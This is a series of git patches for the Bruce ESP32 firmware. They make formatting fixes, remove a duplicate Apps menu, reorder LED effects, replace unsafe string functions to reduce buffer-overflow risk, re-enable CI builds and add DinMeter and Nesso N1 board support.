From: Matt Emerick-Law <matt@emericklaw.co.uk>
Date: Fri, 15 May 2026 01:21:06 +0100
Subject: [PATCH 49/73] Formatting

---
 src/core/menu_items/ConfigMenu.cpp | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/core/menu_items/ConfigMenu.cpp b/src/core/menu_items/ConfigMenu.cpp
index 22221cff7..49d321096 100644
--- a/src/core/menu_items/ConfigMenu.cpp
+++ b/src/core/menu_items/ConfigMenu.cpp
@@ -1,11 +1,11 @@
 #include "ConfigMenu.h"
+#include "../mykeyboard.h"
 #include "core/display.h"
 #include "core/i2c_finder.h"
 #include "core/main_menu.h"
 #include "core/settings.h"
 #include "core/utils.h"
 #include "core/wifi/wifi_common.h"
-#include "../mykeyboard.h"
 #ifdef HAS_RGB_LED
 #include "core/led_control.h"
 #endif
@@ -171,7 +171,7 @@ void ConfigMenu::systemMenu() {
             {"Startup App",                                                         [this]() { setStartupApp(); }        },
             {"Hide/Show Apps",                                                      [this]() { mainMenu.hideAppsMenu(); }},
             {"Clock",                                                               [this]() { setClock(); }             },
-            {String("Keyboard Language: ") + bruceConfig.keyboardLang,             [this]() { setKeyboardLanguage(); }  },
+            {String("Keyboard Language: ") + bruceConfig.keyboardLang,              [this]() { setKeyboardLanguage(); }  },
             {"Advanced",                                                            [this]() { advancedMenu(); }         },
             {"Back",                                                                []() {}                              },
         };

From cf8fe76ace64d6b34fe718d67bcf26253267edc0 Mon Sep 17 00:00:00 2001
From: Matt Emerick-Law <matt@emericklaw.co.uk>
Date: Fri, 15 May 2026 01:21:42 +0100
Subject: [PATCH 50/73] Remove Apps Menu - duplicate of the existing JS
 Interpreter menu

---
 src/core/app_launcher.cpp        | 88 --------------------------------
 src/core/app_launcher.h          | 29 -----------
 src/core/main_menu.cpp           |  3 --
 src/core/main_menu.h             |  2 -
 src/core/menu_items/AppsMenu.cpp | 61 ----------------------
 src/core/menu_items/AppsMenu.h   | 16 ------
 6 files changed, 199 deletions(-)
 delete mode 100644 src/core/app_launcher.cpp
 delete mode 100644 src/core/app_launcher.h
 delete mode 100644 src/core/menu_items/AppsMenu.cpp
 delete mode 100644 src/core/menu_items/AppsMenu.h

diff --git a/src/core/app_launcher.cpp b/src/core/app_launcher.cpp
deleted file mode 100644
index 355a39caf..000000000
--- a/src/core/app_launcher.cpp
+++ /dev/null
@@ -1,88 +0,0 @@
-#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
-#include "app_launcher.h"
-#include "sd_functions.h"
-#include "modules/bjs_interpreter/interpreter.h"
-#include <ArduinoJson.h>
-#include <SD.h>
-#include <LittleFS.h>
-
-static bool parseManifest(FS &fs, const String &dirPath, AppManifest &out) {
-    String manifestPath = dirPath + "/manifest.json";
-    if (!fs.exists(manifestPath)) return false;
-
-    File f = fs.open(manifestPath, "r");
-    if (!f) return false;
-
-    JsonDocument doc;
-    DeserializationError err = deserializeJson(doc, f);
-    f.close();
-    if (err) return false;
-
-    out.name        = doc["name"] | dirPath.substring(dirPath.lastIndexOf('/') + 1);
-    out.description = doc["description"] | "";
-    out.entryPoint  = doc["entry"] | "main.js";
-    out.category    = doc["category"] | "Other";
-    out.version     = doc["version"] | "1.0";
-    out.basePath    = dirPath;
-    out.fs          = &fs;
-    return true;
-}
-
-static void scanDirectory(FS &fs, const String &root, std::vector<AppManifest> &apps) {
-    File dir = fs.open(root);
-    if (!dir || !dir.isDirectory()) return;
-
-    while (true) {
-        bool isDir;
-        String path = dir.getNextFileName(&isDir);
-        if (path.isEmpty()) break;
-        if (!isDir) continue;
-        // Skip hidden directories
-        String name = path.substring(path.lastIndexOf('/') + 1);
-        if (name.startsWith(".")) continue;
-
-        AppManifest app;
-        if (parseManifest(fs, path, app)) {
-            apps.push_back(app);
-        }
-    }
-    dir.close();
-}
-
-std::vector<AppManifest> discoverApps() {
-    std::vector<AppManifest> apps;
-
-    // Scan SD card first
-    setupSdCard();
-    if (sdcardMounted) {
-        if (SD.exists("/apps")) scanDirectory(SD, "/apps", apps);
-    }
-
-    // Then LittleFS
-    if (LittleFS.exists("/apps")) {
-        scanDirectory(LittleFS, "/apps", apps);
-    }
-
-    return apps;
-}
-
-bool launchApp(const AppManifest &app) {
-    String scriptPath = app.basePath + "/" + app.entryPoint;
-    if (!app.fs->exists(scriptPath)) {
-        log_e("App entry point not found: %s", scriptPath.c_str());
-        return false;
-    }
-    return run_bjs_script_headless(*app.fs, scriptPath);
-}
-
-std::vector<AppManifest> filterAppsByCategory(const std::vector<AppManifest> &apps, const String &category) {
-    std::vector<AppManifest> filtered;
-    for (const auto &app : apps) {
-        if (app.category.equalsIgnoreCase(category)) {
-            filtered.push_back(app);
-        }
-    }
-    return filtered;
-}
-
-#endif
diff --git a/src/core/app_launcher.h b/src/core/app_launcher.h
deleted file mode 100644
index 1d8dfbff5..000000000
--- a/src/core/app_launcher.h
+++ /dev/null
@@ -1,29 +0,0 @@
-#ifndef __APP_LAUNCHER_H__
-#define __APP_LAUNCHER_H__
-#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
-
-#include <Arduino.h>
-#include <FS.h>
-#include <vector>
-
-struct AppManifest {
-    String name;
-    String description;
-    String entryPoint;   // e.g. "main.js"
-    String category;     // e.g. "RF", "BLE", "Tools"
-    String version;
-    String basePath;     // absolute path to app directory
-    FS *fs;              // SD or LittleFS
-};
-
-// Scan /apps/ on SD and LittleFS for apps with manifest.json
-std::vector<AppManifest> discoverApps();
-
-// Launch an app by running its entry point script
-bool launchApp(const AppManifest &app);
-
-// Filter apps by category
-std::vector<AppManifest> filterAppsByCategory(const std::vector<AppManifest> &apps, const String &category);
-
-#endif
-#endif
diff --git a/src/core/main_menu.cpp b/src/core/main_menu.cpp
index e727f3031..0608542e0 100644
--- a/src/core/main_menu.cpp
+++ b/src/core/main_menu.cpp
@@ -27,9 +27,6 @@ MainMenu::MainMenu() {
 #endif
         &clockMenu,
         &othersMenu,
-#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
-        &appsMenu,
-#endif
         &configMenu,
     };
 
diff --git a/src/core/main_menu.h b/src/core/main_menu.h
index ce28f98b2..705e967c5 100644
--- a/src/core/main_menu.h
+++ b/src/core/main_menu.h
@@ -19,10 +19,8 @@
 #include "menu_items/RFMenu.h"
 #include "menu_items/ScriptsMenu.h"
 #include "menu_items/WifiMenu.h"
-#include "menu_items/AppsMenu.h"
 class MainMenu {
 public:
-    AppsMenu appsMenu;
     FileMenu fileMenu;
     BleMenu bleMenu;
     ClockMenu clockMenu;
diff --git a/src/core/menu_items/AppsMenu.cpp b/src/core/menu_items/AppsMenu.cpp
deleted file mode 100644
index c3173b33e..000000000
--- a/src/core/menu_items/AppsMenu.cpp
+++ /dev/null
@@ -1,61 +0,0 @@
-#include "AppsMenu.h"
-#include "core/display.h"
-#include "core/utils.h"
-#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
-#include "core/app_launcher.h"
-#endif
-
-void AppsMenu::optionsMenu() {
-#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
-
-    std::vector<AppManifest> apps = discoverApps();
-
-    if (apps.empty()) {
-        displayTextLine("No apps found.");
-        displayTextLine("Put apps in /apps/ on SD.");
-        delay(2000);
-        return;
-    }
-
-    options.clear();
-    for (size_t i = 0; i < apps.size(); i++) {
-        AppManifest app = apps[i];
-        String label = app.name;
-        if (!app.version.isEmpty()) label += " v" + app.version;
-        options.push_back({label.c_str(), [app]() { launchApp(app); }});
-    }
-    addOptionToMainMenu();
-
-    loopOptions(options, MENU_TYPE_SUBMENU, "Apps");
-#endif
-}
-
-void AppsMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 60;
-    int iconH = scale * 60;
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int cx = iconCenterX;
-    int cy = iconCenterY;
-    int half = iconW / 2;
-
-    tft.drawRoundRect(cx - half, cy - half, iconW, iconH, half / 4, bruceConfig.priColor);
-    tft.drawLine(cx - half, cy - half + iconH / 4, cx + half, cy - half + iconH / 4, bruceConfig.priColor);
-
-    int gridW = iconW / 5;
-    int gridGap = iconW / 8;
-
-    int gridCenterY = cy + iconH / 8;
-    int gx1 = cx - gridW - gridGap / 2;
-    int gy1 = gridCenterY - gridW - gridGap / 2;
-    int gx2 = cx + gridGap / 2;
-    int gy2 = gridCenterY + gridGap / 2;
-
-    tft.fillRect(gx1, gy1, gridW, gridW, bruceConfig.priColor);
-    tft.drawRect(gx2, gy1, gridW, gridW, bruceConfig.priColor);
-    tft.drawRect(gx1, gy2, gridW, gridW, bruceConfig.priColor);
-    tft.fillRect(gx2, gy2, gridW, gridW, bruceConfig.priColor);
-}
diff --git a/src/core/menu_items/AppsMenu.h b/src/core/menu_items/AppsMenu.h
deleted file mode 100644
index e2b11eb20..000000000
--- a/src/core/menu_items/AppsMenu.h
+++ /dev/null
@@ -1,16 +0,0 @@
-#ifndef __APPS_MENU_H__
-#define __APPS_MENU_H__
-
-#include <MenuItemInterface.h>
-
-class AppsMenu : public MenuItemInterface {
-public:
-    AppsMenu() : MenuItemInterface("Apps") {}
-
-    void optionsMenu();
-    void drawIcon(float scale);
-    bool hasTheme() { return false; }
-    String themePath() { return ""; }
-};
-
-#endif

From ee0f2cd99ce86f38e6582cd63e9d19c98baf619d Mon Sep 17 00:00:00 2001
From: Matt Emerick-Law <matt@emericklaw.co.uk>
Date: Fri, 15 May 2026 01:24:24 +0100
Subject: [PATCH 51/73] Reorder LED Effects to menu selection works

---
 src/core/led_control.cpp | 14 +++++++-------
 src/core/led_control.h   |  6 +++---
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/src/core/led_control.cpp b/src/core/led_control.cpp
index f344f9369..5a7d598c2 100644
--- a/src/core/led_control.cpp
+++ b/src/core/led_control.cpp
@@ -591,13 +591,6 @@ void setLedEffectConfig() {
                  setLedEffect(LED_EFFECT_RAINBOW_BREATHE);
                  return false;
              }                                                                        },
-            {"Fire",
-             [=]() { bruceConfig.setLedEffect(LED_EFFECT_FIRE); },
-             bruceConfig.ledEffect == LED_EFFECT_FIRE,
-             [](void *pointer,                                                                         bool shouldRender) {
-                 setLedEffect(LED_EFFECT_FIRE);
-                 return false;
-             }                                                                        },
             {"Disco",
              [=]() { bruceConfig.setLedEffect(LED_EFFECT_DISCO); },
              bruceConfig.ledEffect == LED_EFFECT_DISCO,
@@ -605,6 +598,13 @@ void setLedEffectConfig() {
                  setLedEffect(LED_EFFECT_DISCO);
                  return false;
              }                                                                        },
+            {"Fire",
+             [=]() { bruceConfig.setLedEffect(LED_EFFECT_FIRE); },
+             bruceConfig.ledEffect == LED_EFFECT_FIRE,
+             [](void *pointer,                                                                         bool shouldRender) {
+                 setLedEffect(LED_EFFECT_FIRE);
+                 return false;
+             }                                                                        },
 #endif
             {"Config - Speed",
              setLedEffectSpeedConfig,                                         false,
diff --git a/src/core/led_control.h b/src/core/led_control.h
index 0b803a6c0..5ce0c9b10 100644
--- a/src/core/led_control.h
+++ b/src/core/led_control.h
@@ -13,9 +13,9 @@
 #define LED_EFFECT_CHASE 4
 #define LED_EFFECT_CHASE_TAIL 5
 #define LED_EFFECT_RAINBOW_CHASE 6
-#define LED_EFFECT_DISCO 7
-#define LED_EFFECT_FIRE 8
-#define LED_EFFECT_RAINBOW_BREATHE 9
+#define LED_EFFECT_RAINBOW_BREATHE 7
+#define LED_EFFECT_DISCO 8
+#define LED_EFFECT_FIRE 9
 
 CRGB hsvToRgb(uint16_t h, uint8_t s, uint8_t v);
 uint32_t alterOneColorChannel(uint32_t color, uint16_t newR, uint16_t newG, uint16_t newB);

From 991985dacb935cab08d259deab41fe2fdbc0a53d Mon Sep 17 00:00:00 2001
From: Juga Paazmaya <paazmaya@yahoo.com>
Date: Fri, 15 May 2026 06:14:49 +0300
Subject: [PATCH 52/73] Reduce potential buffer overflow situations

---
 include/VectorDisplay.h                | 10 +++++-----
 patch.py                               |  2 ++
 src/core/configPins.cpp                | 12 +++++++++++-
 src/core/connect/esp_connection.cpp    |  4 +++-
 src/core/display.cpp                   |  4 ++--
 src/core/net_utils.cpp                 |  4 +++-
 src/core/settings.cpp                  |  5 +++--
 src/core/type_convertion.cpp           |  2 +-
 src/core/utils.cpp                     |  2 +-
 src/core/wifi/webInterface.cpp         |  7 +++----
 src/core/wifi/wifi_mac.cpp             |  4 +++-
 src/modules/badusb_ble/ducky_typer.cpp |  7 ++++---
 src/modules/rf/rf_scan.cpp             |  2 +-
 src/modules/wifi/sniffer.cpp           |  8 +++++---
 14 files changed, 47 insertions(+), 26 deletions(-)

diff --git a/include/VectorDisplay.h b/include/VectorDisplay.h
index 4a5eee472..d8d6ee4eb 100644
--- a/include/VectorDisplay.h
+++ b/include/VectorDisplay.h
@@ -500,15 +500,15 @@ class VectorDisplayClass : public Print {
     void text(int x, int y, const char *str, int n) {
         args.xyText.x = x;
         args.xyText.y = y;
-        if (n > VECTOR_DISPLAY_MAX_STRING) n = VECTOR_DISPLAY_MAX_STRING;
+        if (n > VECTOR_DISPLAY_MAX_STRING - 1) n = VECTOR_DISPLAY_MAX_STRING - 1;
         strncpy(args.xyText.text, str, n);
+        args.xyText.text[n] = 0; // Explicit null termination before loop
 
         if (fixCP437) {
             for (int i = 0; i < n; i++) {
                 if ((uint8_t)args.xyText.text[i] >= 176) args.xyText.text[i]++;
             }
         }
-        args.xyText.text[n] = 0;
         sendCommand('T', &args, 4 + strlen(args.xyText.text) + 1);
     }
 
@@ -520,15 +520,15 @@ class VectorDisplayClass : public Print {
 
     void addButton(uint8_t command, const char *str) {
         args.charText.c = command;
-        strncpy(args.charText.text, str, VECTOR_DISPLAY_MAX_STRING);
-        args.charText.text[VECTOR_DISPLAY_MAX_STRING] = 0;
+        strncpy(args.charText.text, str, VECTOR_DISPLAY_MAX_STRING - 1);
+        args.charText.text[VECTOR_DISPLAY_MAX_STRING - 1] = 0;
         sendCommand('U', &args, 1 + strlen(args.charText.text) + 1);
     }
 
     void addButton(uint8_t command, String str) { addButton(command, str.c_str()); }
 
     void toast(const char *str, unsigned n) {
-        if (VECTOR_DISPLAY_MAX_STRING < n) n = VECTOR_DISPLAY_MAX_STRING;
+        if (VECTOR_DISPLAY_MAX_STRING - 1 < n) n = VECTOR_DISPLAY_MAX_STRING - 1;
         strncpy(args.text, str, n);
         args.text[n] = 0;
         sendCommand('M', &args, n + 1);
diff --git a/patch.py b/patch.py
index 1dac1ede9..f8538e5db 100644
--- a/patch.py
+++ b/patch.py
@@ -104,6 +104,7 @@ def minify_js(js):
     minify_req = requests.post(
         'https://www.toptal.com/developers/javascript-minifier/api/raw',
         {'input': js.read().decode('utf-8')},
+        timeout=10
     )
     return js if minify_req is False else minify_req.text.encode('utf-8')
 
@@ -112,6 +113,7 @@ def minify_html(html):
     minify_req = requests.post(
         'https://www.toptal.com/developers/html-minifier/api/raw',
         {'input': html.read().decode('utf-8')},
+        timeout=10
     )
     return html if minify_req is False else minify_req.text.encode('utf-8')
 
diff --git a/src/core/configPins.cpp b/src/core/configPins.cpp
index af0139652..08d6b5308 100644
--- a/src/core/configPins.cpp
+++ b/src/core/configPins.cpp
@@ -7,7 +7,17 @@ String getMacAddress() {
     esp_read_mac(mac, ESP_MAC_WIFI_STA);
 
     char macStr[18];
-    sprintf(macStr, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
+    snprintf(
+        macStr,
+        sizeof(macStr),
+        "%02X:%02X:%02X:%02X:%02X:%02X",
+        mac[0],
+        mac[1],
+        mac[2],
+        mac[3],
+        mac[4],
+        mac[5]
+    );
 
     return String(macStr);
 }
diff --git a/src/core/connect/esp_connection.cpp b/src/core/connect/esp_connection.cpp
index 558bdc483..646fb433f 100644
--- a/src/core/connect/esp_connection.cpp
+++ b/src/core/connect/esp_connection.cpp
@@ -170,7 +170,9 @@ void EspConnection::printMessage(Message message) {
 
 String EspConnection::macToString(const uint8_t *mac) {
     char macStr[18];
-    sprintf(macStr, "%02X%02X%02X%02X%02X%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
+    snprintf(
+        macStr, sizeof(macStr), "%02X%02X%02X%02X%02X%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]
+    );
     return macStr;
 }
 
diff --git a/src/core/display.cpp b/src/core/display.cpp
index 341234ee9..28f93ddf9 100644
--- a/src/core/display.cpp
+++ b/src/core/display.cpp
@@ -1554,14 +1554,14 @@ uint16_t getColorVariation(uint16_t color, int delta, int direction) {
 // May need to reverse subscript order if porting elsewhere.
 
 uint16_t read16(fs::File &f) {
-    uint16_t result;
+    uint16_t result = 0;                // Initialize to prevent undefined behavior
     ((uint8_t *)&result)[0] = f.read(); // LSB
     ((uint8_t *)&result)[1] = f.read(); // MSB
     return result;
 }
 
 uint32_t read32(fs::File &f) {
-    uint32_t result;
+    uint32_t result = 0;                // Initialize to prevent undefined behavior
     ((uint8_t *)&result)[0] = f.read(); // LSB
     ((uint8_t *)&result)[1] = f.read();
     ((uint8_t *)&result)[2] = f.read();
diff --git a/src/core/net_utils.cpp b/src/core/net_utils.cpp
index 4ee520722..af07497ca 100644
--- a/src/core/net_utils.cpp
+++ b/src/core/net_utils.cpp
@@ -77,6 +77,8 @@ String ipToString(const uint8_t *ip) {
 // Função para converter MAC para string
 String macToString(const uint8_t *mac) {
     char buf[18];
-    sprintf(buf, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
+    snprintf(
+        buf, sizeof(buf), "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]
+    );
     return String(buf);
 }
diff --git a/src/core/settings.cpp b/src/core/settings.cpp
index 93dbf343b..0c4a5dfe7 100644
--- a/src/core/settings.cpp
+++ b/src/core/settings.cpp
@@ -883,7 +883,7 @@ void setClock() {
         updateClockTimezone();
 
     } else {
-        int hr, mn, am;
+        int hr, mn, am = 0; // Initialize am to default value
         options = {};
         for (int i = 0; i < 12; i++) {
             String tmp = String(i < 10 ? "0" : "") + String(i);
@@ -1426,8 +1426,9 @@ void setMacAddressMenu() {
              uint8_t randomMac[6];
              for (int i = 0; i < 6; i++) randomMac[i] = random(0x00, 0xFF);
              char buf[18];
-             sprintf(
+             snprintf(
                  buf,
+                 sizeof(buf),
                  "%02X:%02X:%02X:%02X:%02X:%02X",
                  randomMac[0],
                  randomMac[1],
diff --git a/src/core/type_convertion.cpp b/src/core/type_convertion.cpp
index 4d85b5afc..61c91d12a 100644
--- a/src/core/type_convertion.cpp
+++ b/src/core/type_convertion.cpp
@@ -37,7 +37,7 @@ String hexStrToBinStr(const String &hexStr) {
 
 void decimalToHexString(uint64_t decimal, char *output) {
     char hexDigits[] = "0123456789ABCDEF";
-    char temp[65];
+    char temp[66]; // Increased to accommodate null terminator at index 65
     int index = 15;
 
     // Initialize tem string with zeros
diff --git a/src/core/utils.cpp b/src/core/utils.cpp
index 740e71eb1..433cd8b12 100644
--- a/src/core/utils.cpp
+++ b/src/core/utils.cpp
@@ -276,7 +276,7 @@ String formatTimeDecimal(uint32_t totalMillis) {
     float seconds = (totalMillis % 60000) / 1000.0;
 
     char buffer[16];
-    sprintf(buffer, "%02d:%06.3f", minutes, seconds);
+    snprintf(buffer, sizeof(buffer), "%02d:%06.3f", minutes, seconds);
     return String(buffer);
 }
 
diff --git a/src/core/wifi/webInterface.cpp b/src/core/wifi/webInterface.cpp
index bc46a0fe6..a322e38c3 100644
--- a/src/core/wifi/webInterface.cpp
+++ b/src/core/wifi/webInterface.cpp
@@ -60,9 +60,7 @@ void stopWebUi() {
 **********************************************************************/
 void cleanlyStopWebUiForWiFiFeature() {
     // Only proceed if WebUI is active
-    if (!isWebUIActive && !server) {
-        return;
-    }
+    if (!isWebUIActive && !server) { return; }
 
     // Brief notification (non-blocking)
     Serial.println("Stopping WebUI for WiFi feature...");
@@ -465,8 +463,9 @@ void configureWebServer() {
             uint64_t LittleFSUsedBytes = LittleFS.usedBytes();
             uint64_t SDTotalBytes = SD.totalBytes();
             uint64_t SDUsedBytes = SD.usedBytes();
-            sprintf(
+            snprintf(
                 response_body,
+                sizeof(response_body),
                 "{\"%s\":\"%s\",\"SD\":{\"%s\":\"%s\",\"%s\":\"%s\",\"%s\":\"%s\"},"
                 "\"LittleFS\":{\"%s\":\"%s\",\"%s\":\"%s\",\"%s\":\"%s\"}}",
                 "BRUCE_VERSION",
diff --git a/src/core/wifi/wifi_mac.cpp b/src/core/wifi/wifi_mac.cpp
index c387d5451..67b71bb43 100644
--- a/src/core/wifi/wifi_mac.cpp
+++ b/src/core/wifi/wifi_mac.cpp
@@ -55,7 +55,9 @@ String generateRandomMAC() {
     for (int i = 1; i < 6; i++) mac[i] = random(0, 256);
 
     char buf[18];
-    sprintf(buf, "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
+    snprintf(
+        buf, sizeof(buf), "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]
+    );
     return String(buf);
 }
 
diff --git a/src/modules/badusb_ble/ducky_typer.cpp b/src/modules/badusb_ble/ducky_typer.cpp
index 240da4a47..5fa284fe6 100644
--- a/src/modules/badusb_ble/ducky_typer.cpp
+++ b/src/modules/badusb_ble/ducky_typer.cpp
@@ -401,7 +401,7 @@ void key_input(FS fs, String bad_script, HIDInterface *_hid) {
                 Command = lineContent;
                 Argument = "";
             }
-            strcpy(Cmd, Command.c_str());
+            strlcpy(Cmd, Command.c_str(), sizeof(Cmd));
             RepeatTmp = "1";
         }
 
@@ -486,8 +486,9 @@ void key_input(FS fs, String bad_script, HIDInterface *_hid) {
                     if (ArgCmd != nullptr && PriCmd != nullptr && ArgCmd->type == DuckyCommandType_Cmd &&
                         PriCmd->type == DuckyCommandType_Cmd) {
                         _hid->press(ArgCmd->key);
-                    } else if (PriCmd != nullptr && PriCmd->type == DuckyCommandType_Cmd &&
-                               Argument.length() > 0) {
+                    } else if (
+                        PriCmd != nullptr && PriCmd->type == DuckyCommandType_Cmd && Argument.length() > 0
+                    ) {
                         for (int idx = 0; idx < Argument.length(); idx++) {
                             _hid->press(Argument.charAt(idx));
                         }
diff --git a/src/modules/rf/rf_scan.cpp b/src/modules/rf/rf_scan.cpp
index 34bdcb0d7..969c9aea3 100644
--- a/src/modules/rf/rf_scan.cpp
+++ b/src/modules/rf/rf_scan.cpp
@@ -531,7 +531,7 @@ void display_signal_data(RfCodes received) {
             }
         }
     } else {
-        strcpy(hexString, "No code identified");
+        strlcpy(hexString, "No code identified", sizeof(hexString));
         padprintln("Length: No code identified");
         padprintln("Record length: " + String(transitions) + " transitions");
     }
diff --git a/src/modules/wifi/sniffer.cpp b/src/modules/wifi/sniffer.cpp
index 0810204b3..f9649f659 100644
--- a/src/modules/wifi/sniffer.cpp
+++ b/src/modules/wifi/sniffer.cpp
@@ -338,7 +338,9 @@ static String sanitizeSsid(const char *ssid) {
 
 static String macToHex(const uint8_t *mac) {
     char buffer[13] = {0};
-    sprintf(buffer, "%02X%02X%02X%02X%02X%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
+    snprintf(
+        buffer, sizeof(buffer), "%02X%02X%02X%02X%02X%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]
+    );
     return String(buffer);
 }
 
@@ -996,8 +998,8 @@ void sniffer_setup() {
     ESP_ERROR_CHECK(esp_wifi_set_storage(WIFI_STORAGE_RAM));
 
     wifi_config_t wifi_config;
-    strcpy((char *)wifi_config.ap.ssid, "BruceSniffer");
-    strcpy((char *)wifi_config.ap.password, "brucenet");
+    strlcpy((char *)wifi_config.ap.ssid, "BruceSniffer", sizeof(wifi_config.ap.ssid));
+    strlcpy((char *)wifi_config.ap.password, "brucenet", sizeof(wifi_config.ap.password));
     wifi_config.ap.ssid_len = strlen("BruceSniffer");
     wifi_config.ap.channel = 1;                   // Channel
     wifi_config.ap.authmode = WIFI_AUTH_WPA2_PSK; // auth mode

From c5a6b319ce9532856e2fafdd6ad508ac54dc97ef Mon Sep 17 00:00:00 2001
From: Pirata <104320209+bmorcelli@users.noreply.github.com>
Date: Thu, 21 May 2026 12:07:38 -0300
Subject: [PATCH 53/73] re-enable deactivated builds

---
 .github/workflows/buil_parallel.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/buil_parallel.yml b/.github/workflows/buil_parallel.yml
index 15f6b5a00..b04b49bf8 100644
--- a/.github/workflows/buil_parallel.yml
+++ b/.github/workflows/buil_parallel.yml
@@ -21,7 +21,7 @@ jobs:
           - { env: "m5stack-sticks3",                 family: "ESP32-S3",}
           - { env: "m5stack-cplus2",                  family: "ESP32",}
           - { env: "m5stack-cplus1_1",                family: "ESP32",}
-          # - { env: "LAUNCHER_m5stack-cplus1_1",       family: "ESP32",}
+          - { env: "LAUNCHER_m5stack-cplus1_1",       family: "ESP32",}
           - { env: "m5stack-core2",                   family: "ESP32",}
           - { env: "m5stack-core16mb",                family: "ESP32",}
           - { env: "m5stack-core4mb",                 family: "ESP32",}
@@ -42,7 +42,7 @@ jobs:
           - { env: "LAUNCHER_CYD-2USB",               family: "ESP32",}
           - { env: "LAUNCHER_CYD-2432W328C",          family: "ESP32",}
           - { env: "LAUNCHER_CYD-3248S035R",          family: "ESP32",}
-          # - { env: "LAUNCHER_CYD-3248S035C",          family: "ESP32",}
+          - { env: "LAUNCHER_CYD-3248S035C",          family: "ESP32",}
           - { env: "lilygo-t-embed-cc1101",           family: "ESP32-S3",}
           - { env: "lilygo-t-embed",                  family: "ESP32-S3",}
           - { env: "lilygo-t-deck",                   family: "ESP32-S3",}

From f827825c3eea57f61c96900c7325140de0c5077e Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Fri, 22 May 2026 13:30:59 -0300
Subject: [PATCH 54/73] Adds DinMeter and Arduino-Nesso-N1

---
 .codex_tmp/LilyGoLib                      |   1 +
 .codex_tmp/NFC-RFAL-fork                  |   1 +
 .codex_tmp/ST25R3916-fork                 |   1 +
 .github/workflows/buil_parallel.yml       |   2 +
 boards/_boards_json/arduino-nesso-n1.json |  34 ++++++
 boards/_boards_json/m5stack-dinmeter.json |  49 +++++++++
 boards/arduino-nesso-n1/interface.cpp     | 113 ++++++++++++++++++++
 boards/arduino-nesso-n1/pins_arduino.h    |  30 ++++++
 boards/arduino-nesso-n1/platformio.ini    | 122 +++++++++++++++++++++
 boards/m5stack-dinmeter/interface.cpp     |  85 +++++++++++++++
 boards/m5stack-dinmeter/pins_arduino.h    |  54 ++++++++++
 boards/m5stack-dinmeter/platformio.ini    | 123 ++++++++++++++++++++++
 boards/pinouts/pins_arduino.h             |   4 +
 platformio.ini                            |   8 +-
 src/modules/others/u2f.cpp                |  11 +-
 15 files changed, 626 insertions(+), 12 deletions(-)
 create mode 160000 .codex_tmp/LilyGoLib
 create mode 160000 .codex_tmp/NFC-RFAL-fork
 create mode 160000 .codex_tmp/ST25R3916-fork
 create mode 100644 boards/_boards_json/arduino-nesso-n1.json
 create mode 100644 boards/_boards_json/m5stack-dinmeter.json
 create mode 100644 boards/arduino-nesso-n1/interface.cpp
 create mode 100644 boards/arduino-nesso-n1/pins_arduino.h
 create mode 100644 boards/arduino-nesso-n1/platformio.ini
 create mode 100644 boards/m5stack-dinmeter/interface.cpp
 create mode 100644 boards/m5stack-dinmeter/pins_arduino.h
 create mode 100644 boards/m5stack-dinmeter/platformio.ini

diff --git a/.codex_tmp/LilyGoLib b/.codex_tmp/LilyGoLib
new file mode 160000
index 000000000..a64fc6ca9
--- /dev/null
+++ b/.codex_tmp/LilyGoLib
@@ -0,0 +1 @@
+Subproject commit a64fc6ca94757baa5401ad71b39fb7f92cd1a7e9
diff --git a/.codex_tmp/NFC-RFAL-fork b/.codex_tmp/NFC-RFAL-fork
new file mode 160000
index 000000000..7bde4587e
--- /dev/null
+++ b/.codex_tmp/NFC-RFAL-fork
@@ -0,0 +1 @@
+Subproject commit 7bde4587ea44c36c178a43d083d7a7345c1e4cfe
diff --git a/.codex_tmp/ST25R3916-fork b/.codex_tmp/ST25R3916-fork
new file mode 160000
index 000000000..0c8e00f49
--- /dev/null
+++ b/.codex_tmp/ST25R3916-fork
@@ -0,0 +1 @@
+Subproject commit 0c8e00f49d12881d1cff6d6f0879b90ce7ed4033
diff --git a/.github/workflows/buil_parallel.yml b/.github/workflows/buil_parallel.yml
index b04b49bf8..0d6315128 100644
--- a/.github/workflows/buil_parallel.yml
+++ b/.github/workflows/buil_parallel.yml
@@ -17,6 +17,7 @@ jobs:
       fail-fast: false
       matrix:
         board:
+          - { env: "arduino-nesso-n1",                family: "ESP32-C6",}
           - { env: "m5stack-cardputer",               family: "ESP32-S3",}
           - { env: "m5stack-sticks3",                 family: "ESP32-S3",}
           - { env: "m5stack-cplus2",                  family: "ESP32",}
@@ -26,6 +27,7 @@ jobs:
           - { env: "m5stack-core16mb",                family: "ESP32",}
           - { env: "m5stack-core4mb",                 family: "ESP32",}
           - { env: "m5stack-cores3",                  family: "ESP32-S3",}
+          - { env: "m5stack-dinmeter",                family: "ESP32-S3",}
           - { env: "esp32-s3-devkitc-1",              family: "ESP32-S3",}
           - { env: "esp32-c5",                        family: "ESP32-C5",}
           - { env: "esp32-c5-tft",                    family: "ESP32-C5",}
diff --git a/boards/_boards_json/arduino-nesso-n1.json b/boards/_boards_json/arduino-nesso-n1.json
new file mode 100644
index 000000000..64f0e03b7
--- /dev/null
